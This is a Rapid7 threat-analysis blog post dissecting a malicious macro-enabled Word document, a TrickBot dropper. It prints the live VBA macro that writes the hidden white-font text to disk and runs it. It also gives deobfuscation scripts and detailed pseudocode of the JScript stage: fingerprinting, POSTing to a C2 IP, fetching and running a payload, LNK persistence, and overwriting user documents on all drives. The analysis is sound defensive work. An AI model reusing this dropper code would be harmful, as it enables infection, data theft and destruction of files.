Last updated at Thu, 25 Jul 2024 14:56:21 GMT

Rapid7’s Managed Detection and Response (MDR) services team leverages specialized toolsets, malware analysis, tradecraft, and collaboration with Rapid7’s Threat Intelligence researchers to detect and remediate threats. Recently, we identified increased use of a type of malicious document that leverages malformed document headers, white fonts to hide obfuscated JScript code, and embedded VBA macros that execute the document’s contents using WScript.

Rapid7 determined that the techniques related to the sample analyzed in this blog post are commonly used one at a time across many distinct malware families as one-off antivirus bypasses. However, the multi-layered antivirus evasion techniques found in this sample highlight the increasing sophistication of commodity malware campaigns’ dropper payloads. Our MDR team determined that at the time of analysis, the document sample’s actions resulted in the execution of a final-stage payload that contained a configuration file colloquially associated with the TrickBot family of malware. Malicious document dropper techniques are often final-stage-agnostic, so this analysis will focus on the malicious document itself. No familiarity with TrickBot is required.

Malicious document sample:
Filename:18575DOC18575.docm
MD5:1acfb8c3d7d2f4b72facc09e4d2631ad
SHA1:984d556e7ed72666a63c2053c4f2e787b3612162
SHA256:6779afbdb100e56b118495d0745a7c8ae4bed6beeac6b6c26f578daeffc35c49
SHA512:978f29068eb3c865cee95a7bff6d4a9b0c4a6fe209cc06e8870097c348bd6c4eda9fcdad05480a9bff21dd22b9a42e68570ca4b6b2bcac3e91b581c02a53360c

To begin with malicious document analysis, our MDR team often detonates samples using open source automated malware analysis sandbox tools to gain some insight into the behaviors of the sample in question.

In this instance, upon opening the document in Microsoft Word, the malicious document displays the following error: “We’re sorry. We can't open 18575DOC18575 because we found a problem with its contents."

Clicking “Details” reveals the following message: "The file is corrupt and cannot be opened."

word-file-corrupt-cannot-be-opened

After clicking "OK," a new error dialog box displays the following: "Word found unreadable content in 18575DOC18575. Do you want to recover the contents of this document? If you trust the source of this document, click Yes."

word-unreadable-conten-trust-source

The error is caused by the inclusion of form-data in place of the document header:

form-data-inclusion

It is possible that the document headers were mistakenly prepended—however, the nature of the malformed document's error indicates that the malformed headers are used to circumvent antivirus solutions or act as an anti-sandboxing technique:

word-document-created-earlier-version

If a user enables the document's macros, the following VBA is executed when the document is closed:

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Private Kolper As String
Public Nerog As Byte
Private Cverop As String
Sub CopyTemplateToRepo(TemplateDoc As Document, Optional OpenAfter As _
Boolean = True)
' copies the current template file to the local git repo
Dim strRepoPath As String
strRepoPath = GetRepoPath(TemplateDoc)
If strRepoPath <> TemplateDoc.Path Then
If TemplateDoc.Name <> ThisDocument.Name Then
Dim strCurrentTemplatePath As String
Dim strDestinationFilePath As String
' Current file full path, to use for FileCopy later
strCurrentTemplatePath = TemplateDoc.FullName
Debug.Print strCurrentTemplatePath
' location in repo
strDestinationFilePath = strRepoPath & Application.PathSeparator & _
TemplateDoc.Name
Debug.Print strDestinationFilePath
' Check if the file is there already
Dim blnInstalled As Boolean
blnInstalled = False
If genUtils.IsInstalledAddIn(TemplateDoc.Name) = True Then
blnInstalled = True
AddIns(TemplateDoc.Name).Installed = False
End If
' Template needs to be closed for FileCopy to work
' ALSO: changing doc properties does NOT count as a "change", so Word
' sees the file as unchanged and doesn't actually save, and also
' doesn't throw an error so we set Saved = False before saving to get
' it working right.
TemplateDoc.Saved = False
TemplateDoc.Close SaveChanges:=wdSaveChanges
Set TemplateDoc = Nothing
' copy copy copy copy
' but NOT if it's genUtils -- this current file right here has a
' reference to it, so we can never copy it ever haha!
On Error GoTo StupidError
If strCurrentTemplatePath <> strDestinationFilePath Then
VBA.FileCopy Source:=strCurrentTemplatePath, _
Destination:=strDestinationFilePath
End If
On Error GoTo 0
' Reinstall add-in if it's a global template
If blnInstalled = True Then
WordBasic.DisableAutoMacros ' Not sure this really works tho
AddIns(strCurrentTemplatePath).Installed = True
End If
' And then open the document again if you wanna.
' Though note that AutoExec and Document_Open subs will run when
' you do!
If OpenAfter = True Then
Documents.Open FileName:=strCurrentTemplatePath, _
ReadOnly:=False, _
Revert:=False
End If
End If
End If
Exit Sub
StupidError:
If Err.Number = 70 And InStr(strCurrentTemplatePath, "genUtils.dotm") > 0 Then
Resume Next
End If
End Sub
Private Sub Fopers(uxx As String)
Kolper = uxx & "\var." & Empty & "jse" & Empty
Dim Vipersa As Integer
Vipersa = FreeFile
Open Kolper For Output As #Vipersa
Print #Vipersa, ActiveDocument.Content.Text
Close #Vipersa
ActiveDocument.StoryRanges(wdMainTextStory).Delete
Cverop = "shell"
Exit Sub
CopyTemplateToRepo ActiveDocument
End Sub
Private Sub IOner()
Fopers Application.StartupPath
Yuoper
End Sub
Private Sub Document_Close()
If (Len(ActiveDocument.Content.Text) > 666) Then
IOner
End If
End Sub
Private Sub Yuoper()
VBA.CallByName VBA.CreateObject(Cverop & ".App" & "" & "lica" & Empty & "tion"), Cverop & "Ex" & "" & "ecute", VbMethod, "p" & Empty & "ower" & Cverop, "-co" & "mmand ""Get-History" & ";.\""" & Kolper & "\""""", Empty, Empty, 0
Exit Sub
CopyTemplateToRepo ActiveDocument
End Sub
view raw macros.txt hosted with ❤ by GitHub

The macro subprocedures CopyTemplateToRepo and StupidError are "junk code" taken from an open source project, which are included but not called. This is a technique leveraged by malicious actors to circumvent antivirus software.

Upon closing the document, the remaining code copies the hidden (white font) text from the document as a file saved to path: <Application.StartupPath>\var.jse, then runs the PowerShell module "Get-History" before executing the copied file (<Application.StartupPath>\var.jse) with Windows' default '.jse' file handler (typically WScript.exe).

word-document-created-earlier-version-code

The document's text is heavily obfuscated and is shown truncated below:

document-text-obfuscated-truncated

During initial malware triage, analysts require a quick way to extract and act upon indicators of compromise (IoCs) before full analysis is complete.

The dropper payload and its ilk rely on convoluted function calls that return individual characters (this obfuscation technique is quickly identified by the large number of calls to one function).

Using a tool such as CyberChef's "JavaScript Beautify" recipe, we can format the obfuscated code to be more readable.

Beautified Code

We find the following functions at lines 116–131:

var obDlaao99 = function () {
return Math['round'](Math.tan(1 * Math.PI / 180));
};
function obDlaao(kpuncon, hujqop) {
try {
nunthat_8(kpuncon, hujqop);
} catch (e) {
if (true && hujqop != 'a' && !masxer0) {
return 1;
} else {
return masxer0 + this[Rescop8][nunthat_8 + ['Ch' + hujqop + 'r'] + ['Co'] + (this.toString + '').substr(2, 1) + 'e'](kpuncon);
}
return false;
}
}
;

Rapid7 reviewed JScript Math functions and determined function obDlaao99 will return 0.

Rapid7 analyzed function obDlaao and determined that it returns the result of fromCharCode(first_parameter).

To begin manual deobfuscation of large JScript payloads, Rapid7 uses scripting languages (notably Python) and regular expressions to speed up deobfuscation.

Provided the function declarations and corresponding return values all sum the two integer values and call the "fromCharCode" function (obDlaao), Rapid7 used the following Python script and regular expression to quickly extract IoCs from the document’s hidden white font JScript code.

import re
import sys
import zipfile
def deobfuscate(s):
output = []
r = re.compile(r"""\(function\(\)\{\s+var\s+(.*?)=(.*?);\s+\1\[(.*?)]=(?P<first>\d+);\s+\1\[\d+\]=(?P<second>\d+);\s+return\s+(.*?)\(\1\[(.*?)\]+\+\6\d+\(\)\+\1\[\d+\],'a'\);\s+\}\)""")
for m in r.finditer(s):
x = m.groupdict()
if x['first'] and x['second']:
#print (chr(x['first'] + x['second']), end="")
output.append(chr(int(x['first']) + int(x['second'])))
else:
print("Error.\n")
return "".join(output)
try:
if (sys.argv[1] == "-f" or sys.argv[1] == "file" or sys.argv[1] == "filename") and (sys.argv[2]):
pass
except:
print("Use -f followed by the filename.")
sys.exit()
filename = sys.argv[2]
if ".doc" in filename:
docx = zipfile.ZipFile(filename)
content = docx.read('word/document.xml').decode('utf-8')
s = re.sub('<(.|\n)*?>','',content)
else:
with open(filename, 'r') as the_file:
s = the_file.read()
print(deobfuscate(s))

This prints the following:

fromCharCode There was a problem encountered while sending the command to the programWScriptActiveXObjectScriptFullNameScripting.FileSystemObjectCreateObjectWScript.ShelltoLowerCaseindexOfPopupOpenTextFileReadAllClosevar seedfloorrandom=floorrandom;2060000RtfromCharCodeDrives*.doc *.xls *.pdf *.rtf *.txt *.pub *.odtexr.txt4294967295GetObjectEnumeratorfromCharCodefromCharCodewinmgmts:{impersonationLevel=impersonate}!.rootcimv2ExecQuerySelect * from Win32_OperatingSystematEnditemCaptionitemVersion*Locale:itemLocalemoveNextExecQuerySelect * from Win32_ComputerSystematEnditemName*itemManufacturer*itemModel*itemCurrentTimeZonemoveNextExecQuerySelect * from Win32_ProcessatEnditemName*ExecutablePathfromCharCodefromCharCodemoveNextExecNotificationQuerySelect * from Win32_ProcessStopTraceNextEventProcessNameindexOf.exemaxp.lnkShell.ApplicationNameSpaceSelfPathExpandEnvironmentStrings%TEMP%EnvironmentPROCESSItemCOMPUTERNAMElengthcharCodeAtindexOfAppData.txtfromCharCodefromCharCodeCreateTextFileWriteCloseCreateShortcutTargetPathwscriptArguments/B /E:JScript DescriptionfloorrandomHotKeyALT+CTRL+YIconLocationnotepad.exe, 0WindowStyle1WorkingDirectorySaveMZMicrosoft.XMLDOMcreateElementbase64ADODB.StreamMsxml2.ServerXMLHTTP&tan=cezarhttps://185.130.104.187/nana/kum.php?pi=18bPOSTsetOptionMSXMLfloorrandom.xml:REfloorrandom&z=abs&n=&u=&an=floorrandomfloorrandomfloorrandomopensendstatusresponseTextgetResponseHeaderproducegetResponseHeaderproduce99getResponseHeaderContent-Transfer-EncodingbinaryOpenTypeWriteresponseBodyPositionSaveToFileCloselengthdataTypebin.base64textreplacefromCharCodecharCodeAttoLowerCasenOpenTypePositionWritenodeTypedValueSaveToFileCloseSleepSleepatEndmoveNextitemIsReadyDriveTypeDriveTypesubstringDriveLetterShellExecutecmd/U /Q /C cd /D DriveLetter: && dir /b/s/x >>%TEMP%openSleepSleepGetFileOpenAsTextStreamAtEndOfStreamReadLinesubstringindexOf.ShellExecutecmd/U /Q /C copy /Y .jse && del /Q/F openCloseDeleteFileGetFileOpenAsTextStreamReadLinesubstringCloseShellExecutepowershell-noprofile -command Start-Process -NoNewWindow -FilePath openShellExecuteopenSleepSleep

We can immediately identify function calls, an error message, Microsoft binaries, a malicious URL, and GET parameters, all of which could prove useful as IoCs.

After identifying a pattern in the function call, we can reduce the malicious payload from roughly 11,000 lines to fewer than 600.

import re
import sys
def deobfuscate(s):
pattern = r"""\s\+\sfunction\s\(\)\s\{\s+var\s.*?\s=\s.*?;\s+.*?\[.*?\]\s=\s(?P<first>\d+);\s+.*?\[\d+\]\s=\s(?P<second>\d+);\s+return.*?\(.*?, 'a'\);\s+\}\(.*?\)"""
while re.findall(pattern,s):
r = re.findall(pattern,s)[0]
s = (re.sub(pattern,chr(int(r[0]) + int(r[1])),s,1))
pattern = r"""function\s\(\)\s\{\s+var\s.*?\s=\s.*?;\s+.*?\[.*?\]\s=\s(?P<first>\d+);\s+.*?\[\d+\]\s=\s(?P<second>\d+);\s+return.*?\(.*?, 'a'\);\s+\}\(.*?\)"""
while re.findall(pattern,s):
r = re.findall(pattern,s)[0]
s = (re.sub(pattern,chr(int(r[0]) + int(r[1])),s,1))
print(s)
try:
if (sys.argv[1] == "-f" or sys.argv[1] == "file" or sys.argv[1] == "filename") and (sys.argv[2]):
pass
except:
print("Use -f followed by the filename.")
sys.exit()
filename = sys.argv[2]
with open(filename, 'r') as the_file:
s = the_file.read()
deobfuscate(s)

Deobfuscated Code

Rapid7 found this pattern by looking for similarities in the structure surrounding the function call. We are able to grab capture groups that are added before being passed to the function. This particular regular expression will not work for most samples, but the methodology is effective across samples.

After removing unused variables, creating comments, and adding suitable variable names, Rapid7 created the following corresponding pseudocode:

var first_true_flag = true;
var second_true_flag = true;
var third_true_flag = true;
var backslash_character = String[fromCharCode](92);
var pointlessly_initialized_to_zero_holds_z_GET_param_and_txt_filename = 0;
var either_ten_or_twenty_but_also_used_as_iterator = 0;
var control_flow_flag_which_tells_whether_the_doc_is_from_temp_and_whether_white_font_code_was_saved_for_later_execution = false;
var server_xml_http_option = 3; /* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms763811(v%3Dvs.85) */
var temporary_text_file_object = null;
var write_to_text_file_object = null;
var c2_response_object = null;
var payload_contents_for_header_check = null;
var contents_of_extensions_mask_match_file = null;
var string_with_white_font_contents_of_doc = null;
var loop_counter = 0;
var opentextfile_iomode = 1;
var control_flow_flag_which_tells_whether_getResponseHeader_produce_is_zero_or_ninetynine = -1;
var first_false_flag = false;
var first_one_flag = 1;
var first_seven_flag = 7;
var six_space_characters = ;
var first_fake_error = There was a problem encountered while sending the command to the program;
var WScript = this[WScript];
var ActiveXObject = this[ActiveXObject]; /* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms221401(v%3Dvs.85) */
var path_to_current_script = WScript[ScriptFullName]; /* https://ss64.com/vb/syntax-wscript.html */
var file_system_object = new ActiveXObject(Scripting.FileSystemObject); /* https://docs.microsoft.com/en-us/previous-versions//7kby5ae3(v=vs.85)?redirectedfrom=MSDN */
var WScriptShell = WScript[CreateObject](WScript.Shell); /* https://docs.microsoft.com/en-us/previous-versions//7kby5ae3(v=vs.85)?redirectedfrom=MSDN */
try {
if (path_to_current_script[toLowerCase]()[indexOf](backslash_character + 'temp' + backslash_character) == -1) { /* https://docs.microsoft.com/en-us/dotnet/api/microsoft.jscript.stringprototype?view=netframework-4.8 */
if (first_true_flag) {
WScriptShell[Popup](unescape(first_fake_error), 16, unescape(six_space_characters), 0); /* https://ss64.com/vb/popup.html https://docs.microsoft.com/en-us/dotnet/api/microsoft.jscript.globalobject.unescape?view=netframework-4.8 */
}
temporary_text_file_object = file_system_object[OpenTextFile](path_to_current_script, opentextfile_iomode, false, 0); /* https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/opentextfile-method */
string_with_white_font_contents_of_doc = temporary_text_file_object[ReadAll](); /* https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/readall-method */
temporary_text_file_object[Close]();
string_with_white_font_contents_of_doc = string_with_white_font_contents_of_docvar seed + Math[floor](Math[random]() * 10000 + 1)= + Math[floor](Math[random]() * 10000 + 1);; /* https://docs.microsoft.com/en-us/dotnet/api/microsoft.jscript.mathobject.random?view=netframework-4.8 */
control_flow_flag_which_tells_whether_the_doc_is_from_temp_and_whether_white_font_code_was_saved_for_later_execution = true;
}
} catch (KiPoser) {
}
var weirdly_iterated_loop_counter = 1;
var weird_sleep_function_condition = (2060000) * 1;
while (first_one_flag && true) {
first_fake_error = Rt;
weirdly_iterated_loop_counter = weirdly_iterated_loop_counter + 1;
if (weirdly_iterated_loop_counter == weird_sleep_function_condition) {
var quotation_mark_character = String[fromCharCode](34);
var file_system_drives = file_system_object[Drives]; /* https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/drives-property */
var file_extension_mask_for_overwriting = *.doc *.xls *.pdf *.rtf *.txt *.pub *.odt;
var filename_which_holds_all_files_matching_extension_mask = exr.txt;
var c2_url_with_params = null;
var enumerate_processes_counter = pointlessly_initialized_to_zero_holds_z_GET_param_and_txt_filename;
var object_wmi_service = null;
var process_item = null;
var fingerprinting_data_two = '';
var fingerprinting_data_one = '';
var win32_os_data = null;
var win32_cs_data = null;
var two_byte_header_check = '';
var current_mask_match_filename = '';
var current_mask_match_filename_without_extension = '';
var file_system_drives_enumerator = null;
var file_system_drive_item = null;
var two_to_the_thirtysecond_minus_one = (4294967295) * 1;
var n_GET_parameter_and_control_flow_flag = 0;
var win32_cs_data_fingerprinting_data = '';
var current_terminated_process = null;
var thirteen = 13;
var negative_thirteen = -13;
var terminated_processes = null;
var GetObject = this[GetObject];
var Enumerator = this[Enumerator];
var carriage_return_newline = '';
var shortcut_persistence = null;
try {
carriage_return_newline = String[fromCharCode](13) + String[fromCharCode](10);
object_wmi_service = GetObject(winmgmts:{impersonationLevel=impersonate}! + backslash_character + backslash_character. + backslash_characterroot + backslash_charactercimv2);
loop_counter = 0;
win32_os_data = new Enumerator(object_wmi_service [ExecQuery](Select * from Win32_OperatingSystem)); /* https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--operating-systems */
while (!win32_os_data[atEnd]()) {
if (loop_counter == 5)
break;
fingerprinting_data_one = fingerprinting_data_one + win32_os_data[item]()[Caption] + win32_os_data[item]()[Version]*Locale: + win32_os_data[item]()[Locale];
loop_counter++;
win32_os_data[moveNext]();
}
fingerprinting_data_one = fingerprinting_data_one + carriage_return_newline + startup_persistence_absolute_path + carriage_return_newline;
loop_counter = 0;
win32_cs_data = new Enumerator(object_wmi_service [ExecQuery](Select * from Win32_ComputerSystem)); /* https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--computer-hardware */
while (!win32_cs_data[atEnd]()) {
if (loop_counter == 5)
break;
win32_cs_data_fingerprinting_data = win32_cs_data[item]()[Name]* + win32_cs_data[item]()[Manufacturer]* + win32_cs_data[item]()[Model]* + win32_cs_data[item]()[CurrentTimeZone];
fingerprinting_data_one = fingerprinting_data_one + win32_cs_data_fingerprinting_data;
loop_counter++;
win32_cs_data[moveNext]();
}
fingerprinting_data_one = fingerprinting_data_one + carriage_return_newline;
loop_counter = 0;
enumerate_processes_counter = new Enumerator(object_wmi_service [ExecQuery](Select * from Win32_Process)); /* https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--processes */
while (!enumerate_processes_counter[atEnd]()) {
if (loop_counter == 200)
break;
process_item = enumerate_processes_counter[item]();
fingerprinting_data_two = fingerprinting_data_two + process_item[Name]* + process_item[ExecutablePath] + String[fromCharCode](13) + String[fromCharCode](10);
loop_counter++;
enumerate_processes_counter[moveNext]();
}
} catch (KiPoser) {
}
try {
terminated_processes = object_wmi_service [ExecNotificationQuery](Select * from Win32_ProcessStopTrace); /* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/krnlprov/win32-processstoptrace */
while (true) {
try {
current_terminated_process = terminated_processes[NextEvent]();
if (current_terminated_process[ProcessName][indexOf](.exe) > -1) {
break;
}
} catch (e) {
}
}
} catch (KiPoser) {
}
var backslash_and_shortcut_filename = backslash_charactermaxp.lnk;
var ActiveXObjectShell = new ActiveXObject(Shell.Application); /* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/bb776890(v=vs.85) */
var startup_object_folder = ActiveXObjectShell[NameSpace](7); /* https://ss64.com/nt/shell-folders-vbs.txt */
var startup_persistence_absolute_path = startup_object_folder[Self][Path] + backslash_and_shortcut_filename;
var path_to_temp = WScriptShell[ExpandEnvironmentStrings](%TEMP%); /* https://ss64.com/vb/envexpand.html */
var path_to_persistence_and_temp_and_computername_envar = startup_persistence_absolute_path + path_to_temp;
try {
path_to_persistence_and_temp_and_computername_envar = path_to_persistence_and_temp_and_computername_envar + WScriptShell[Environment](PROCESS)[Item](COMPUTERNAME);
for (either_ten_or_twenty_but_also_used_as_iterator = 0; either_ten_or_twenty_but_also_used_as_iterator < path_to_persistence_and_temp_and_computername_envar[length]; either_ten_or_twenty_but_also_used_as_iterator++) {
pointlessly_initialized_to_zero_holds_z_GET_param_and_txt_filename = (pointlessly_initialized_to_zero_holds_z_GET_param_and_txt_filename << 5) - pointlessly_initialized_to_zero_holds_z_GET_param_and_txt_filename + path_to_persistence_and_temp_and_computername_envar[charCodeAt](either_ten_or_twenty_but_also_used_as_iterator) & two_to_the_thirtysecond_minus_one; /* x = (x * 2^5) - x + (charcode of character at current index) & (2^32 - 1) */
}
if (startup_persistence_absolute_path[indexOf](backslash_characterAppData + backslash_character) == -1) {
either_ten_or_twenty_but_also_used_as_iterator = 10;
} else {
either_ten_or_twenty_but_also_used_as_iterator = 20;
}
} catch (KiPoser) {
pointlessly_initialized_to_zero_holds_z_GET_param_and_txt_filename = 444444;
}
var path_to_random_txt_file = path_to_temp + backslash_character + pointlessly_initialized_to_zero_holds_z_GET_param_and_txt_filename.txt;
fingerprinting_data_two = fingerprinting_data_one + String[fromCharCode](2 * 5 + 3) + String[fromCharCode](5 + 5) + fingerprinting_data_two;
try {
if (control_flow_flag_which_tells_whether_the_doc_is_from_temp_and_whether_white_font_code_was_saved_for_later_execution && second_true_flag && !first_false_flag) {
write_to_text_file_object = file_system_object[CreateTextFile](path_to_random_txt_file, true, false); /* https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/createtextfile-method */
write_to_text_file_object[Write](string_with_white_font_contents_of_doc);
write_to_text_file_object[Close]();
write_to_text_file_object = null;
shortcut_persistence = WScriptShell[CreateShortcut](startup_persistence_absolute_path); /* https://support.microsoft.com/en-us/help/244677/how-to-create-a-desktop-shortcut-with-the-windows-script-host */
shortcut_persistence[TargetPath] = wscript;
shortcut_persistence[Arguments] = /B /E:JScript + quotation_mark_character + path_to_random_txt_file + quotation_mark_character;
shortcut_persistence[Description] = Math[floor](Math[random]() * 10000 + 1) + '';
shortcut_persistence[HotKey] = ALT+CTRL+Y;
shortcut_persistence[IconLocation] = notepad.exe, 0;
shortcut_persistence[WindowStyle] = 1;
shortcut_persistence[WorkingDirectory] = path_to_temp;
shortcut_persistence[Save]();
shortcut_persistence = null;
}
} catch (KiPoser) {
}
var mz_header = MZ;
var path_to_alternate_data_stream_or_random_txt_file = '';
var ActiveXObjectXMLDOM = new ActiveXObject(Microsoft.XMLDOM); /* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms757828(v%3Dvs.85) */
var xmldom_base64_element = ActiveXObjectXMLDOM[createElement](base64); /* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms757047%28v%3dvs.85%29 */
var ActiveXObjectStream = new ActiveXObject(ADODB.Stream); /* https://support.microsoft.com/en-us/help/296772/how-to-send-a-binary-stream-by-using-xmlhttp */
var xml_http_request = new ActiveXObject(Msxml2.ServerXMLHTTP); /* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms763809(v%3Dvs.85) */
var hardcoded_GET_param = &tan=cezar;
var c2_base_url = https://185.130.104.187/nana/kum.php;
var query_string = ?pi=18b;
var url_without_params = c2_base_url + query_string;
var http_method = POST;
while (first_seven_flag) {
try {
xml_http_request[setOption](server_xml_http_option, MSXML);
path_to_alternate_data_stream_or_random_txt_file = path_to_temp + backslash_character + Math[floor](Math[random]() * 999 + 1).xml:RE + Math[floor](Math[random]() * 15000 + 1);
c2_url_with_params = url_without_params + hardcoded_GET_param&z= + Math[abs](pointlessly_initialized_to_zero_holds_z_GET_param_and_txt_filename)&n= + n_GET_parameter_and_control_flow_flag&u= + either_ten_or_twenty_but_also_used_as_iterator&an= + Math[floor](Math[random]() * 10000 + 1) + Math[floor](Math[random]() * 888 + 1) + Math[floor](Math[random]() * 888 + 1);
xml_http_request[open](http_method, c2_url_with_params, false);
xml_http_request[send](fingerprinting_data_two);
if (xml_http_request[status] == 200) {
if (n_GET_parameter_and_control_flow_flag == 0) {
c2_response_object = xml_http_request[responseText];
try {
if (xml_http_request[getResponseHeader](produce) == '0') {
path_to_alternate_data_stream_or_random_txt_file = path_to_random_txt_file;
control_flow_flag_which_tells_whether_getResponseHeader_produce_is_zero_or_ninetynine = 0;
}
if (xml_http_request[getResponseHeader](produce) == 99) {
control_flow_flag_which_tells_whether_getResponseHeader_produce_is_zero_or_ninetynine = 99;
}
} catch (KiPoser) {
}
try {
if (xml_http_request[getResponseHeader](Content-Transfer-Encoding) == binary) {
ActiveXObjectStream[Open]();
ActiveXObjectStream[Type] = 1;
ActiveXObjectStream[Write](xml_http_request[responseBody]);
ActiveXObjectStream[Position] = 0;
ActiveXObjectStream[SaveToFile](path_to_alternate_data_stream_or_random_txt_file, 2);
ActiveXObjectStream[Close]();
} else {
if (c2_response_object[length] > 50) {
xmldom_base64_element[dataType] = bin.base64;
xmldom_base64_element[text] = c2_response_object[replace](/[a-zA-Z]/gi, function (s) {
return String[fromCharCode](s[charCodeAt](0) + (s[toLowerCase]() < n ? thirteen : negative_thirteen));
}); /* https://en.wikipedia.org/wiki/ROT13 */
ActiveXObjectStream[Open]();
ActiveXObjectStream[Type] = 1;
ActiveXObjectStream[Position] = 0;
ActiveXObjectStream[Write](xmldom_base64_element[nodeTypedValue]);
ActiveXObjectStream[SaveToFile](path_to_alternate_data_stream_or_random_txt_file, 2);
ActiveXObjectStream[Close]();
}
}
} catch (KiPoser) {
}
} else {
n_GET_parameter_and_control_flow_flag = 0;
continue;
}
if (control_flow_flag_which_tells_whether_getResponseHeader_produce_is_zero_or_ninetynine == 0) {
WScript[Sleep](50000);
control_flow_flag_which_tells_whether_getResponseHeader_produce_is_zero_or_ninetynine = -1;
n_GET_parameter_and_control_flow_flag = 9;
continue;
}
WScript[Sleep](31000);
if (control_flow_flag_which_tells_whether_getResponseHeader_produce_is_zero_or_ninetynine == 99 && third_true_flag) {
try {
file_system_drives_enumerator = new Enumerator(file_system_drives);
for (; !file_system_drives_enumerator[atEnd](); file_system_drives_enumerator[moveNext]()) {
file_system_drive_item = file_system_drives_enumerator[item]();
if (file_system_drive_item[IsReady] && (file_system_drive_item[DriveType] == 3 || file_system_drive_item[DriveType] == 1) && user12[substring](0, 1) != file_system_drive_item[DriveLetter]) {
ActiveXObjectShell[ShellExecute](cmd, /U /Q /C cd /D + file_system_drive_item[DriveLetter]: && dir /b/s/x + file_extension_mask_for_overwriting>>%TEMP% + backslash_character + filename_which_holds_all_files_matching_extension_mask, '', open, 0); /* https://docs.microsoft.com/en-us/windows/win32/shell/shell-shellexecute */
WScript[Sleep](1000 * 60);
}
}
WScript[Sleep](1000 * 50);
contents_of_extensions_mask_match_file = file_system_object[GetFile](path_to_temp + backslash_character + filename_which_holds_all_files_matching_extension_mask)[OpenAsTextStream](1, -1); /*(IOMode,Format) ForReading,Open as unicode */ /* https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/filesystemobject-object */
while (!contents_of_extensions_mask_match_file[AtEndOfStream]) {
current_mask_match_filename = contents_of_extensions_mask_match_file[ReadLine]();
current_mask_match_filename_without_extension = current_mask_match_filename[substring](0, current_mask_match_filename[indexOf](.));
ActiveXObjectShell[ShellExecute](cmd, /U /Q /C copy /Y + quotation_mark_character + path_to_random_txt_file + quotation_mark_character + quotation_mark_character + current_mask_match_filename_without_extension.jse + quotation_mark_character && del /Q/F + quotation_mark_character + current_mask_match_filename + quotation_mark_character, '', open, 0);
}
contents_of_extensions_mask_match_file[Close]();
file_system_object[DeleteFile](path_to_temp + backslash_character + filename_which_holds_all_files_matching_extension_mask);
} catch (KiPoser) {
}
control_flow_flag_which_tells_whether_getResponseHeader_produce_is_zero_or_ninetynine = -1;
n_GET_parameter_and_control_flow_flag = 0;
continue;
}
payload_contents_for_header_check = file_system_object[GetFile](path_to_alternate_data_stream_or_random_txt_file)[OpenAsTextStream](1);
two_byte_header_check = payload_contents_for_header_check[ReadLine]()[substring](0, 2);
payload_contents_for_header_check[Close]();
if (two_byte_header_check == mz_header && n_GET_parameter_and_control_flow_flag == 0) {
try {
switch (control_flow_flag_which_tells_whether_getResponseHeader_produce_is_zero_or_ninetynine) {
case -1:
try {
ActiveXObjectShell[ShellExecute](powershell, -noprofile -command + quotation_mark_characterStart-Process -NoNewWindow -FilePath + backslash_character + quotation_mark_character + path_to_alternate_data_stream_or_random_txt_file + backslash_character + quotation_mark_character + quotation_mark_character, '', open, 0);
n_GET_parameter_and_control_flow_flag = 10;
} catch (KiPoser) {
ActiveXObjectShell[ShellExecute](path_to_alternate_data_stream_or_random_txt_file, '', '', open, 1);
n_GET_parameter_and_control_flow_flag = 11;
}
break;
case 0:
n_GET_parameter_and_control_flow_flag = 60;
break;
case 1:
n_GET_parameter_and_control_flow_flag = 61;
break;
case 2:
n_GET_parameter_and_control_flow_flag = 62;
break;
}
} catch (KiPoser) {
n_GET_parameter_and_control_flow_flag = 9888;
}
WScript[Sleep](9000);
}
}
} catch (KiPoser) {
}
WScript[Sleep](50000);
}
;
}
;
}
;
view raw pseudocode.jse hosted with ❤ by GitHub

After in-depth analysis of the malicious document, Rapid7 determined the following about the malicious document's white-font hidden JScript code:

  • Checks whether the running script is in %TEMP% by searching for the substring "\temp" in WScript[ScriptFullName].

    • If the running script is not in %TEMP%, the sample produces an error message popup, copies the contents of the document to a variable and appends "var seed<random_integer>=<random_integer>;" to the variable.
  • Uses WMI tasks to fingerprint Win32_Operating System, Win32_ComputerSystem, and Win32_Process Operating System Classes data.

    • POSTs fingerprint to C2
    • These WMI task fingerprinting techniques have been associated with OSTAP droppers in the past, which indicates this is an artifact from older samples.
  • Acquires a positive random integer smaller than 2^32, which it uses as a .txt filename and a "&z=" GET parameter.

  • Saves a copy of the white-font hidden JScript from the existing variable (with the appended seed) to the random integer named text file (which we will now call persistence.txt).

  • Creates an .LNK shortcut file with filename maxp.lnk to the Windows Startup folder.

    • The .LNK file has a target path of: WScript, and arguments: /B /e:Jscript <path to persistence.txt>
    • This technique is used by attackers to persist upon shutdown and restart.
  • Attempts to acquire the second-stage payload from the following URL (replacing parentheses and variables in caps): https://185.130.104[.]187/nana/kum.php?pi=18b&tan=cezar&z=(RANDOM_INTEGER_FROM_PERSISTENCE_OR_444444)&n=0&u=0&an=(RANDOM_INTEGER_BETWEEN_3_AND_11779)

  • Checks the response and determines whether it is an executable based on the presence of the MZ header.

    • If the response isn't an executable, the sample uses ROT13 and Base64 to decode the response.
    • Modifying the "&z=" GET parameter will provide obfuscated JScript if &z=444444, and an encoded executable for other valid random integers.
  • Checks whether the "produce" response header is not '0', and writes the response to an alternate data stream (ADS).

    • The alternate data stream has the following format: (RANDOM_INTEGER_BETWEEN_1_AND_1000).xml:RE(RANDOM_INTEGER_BETWEEN_1_AND_15001) and is written to %TEMP%
    • Use of alternate data streams are another older and less common technique that has fallen out of fashion with malware authors but has been picked up by this dropper likely as an antivirus evasion technique.
  • Determines whether the "produce" response header is '0', and writes the response to the existing persistence.txt file.

  • Checks for all available drives, and all available files matching the following wildcard file masks: *.doc *.xls *.pdf *.rtf *.txt *.pub *.odt

  • Attempts to overwrite all matching files with the contents of persistence.txt

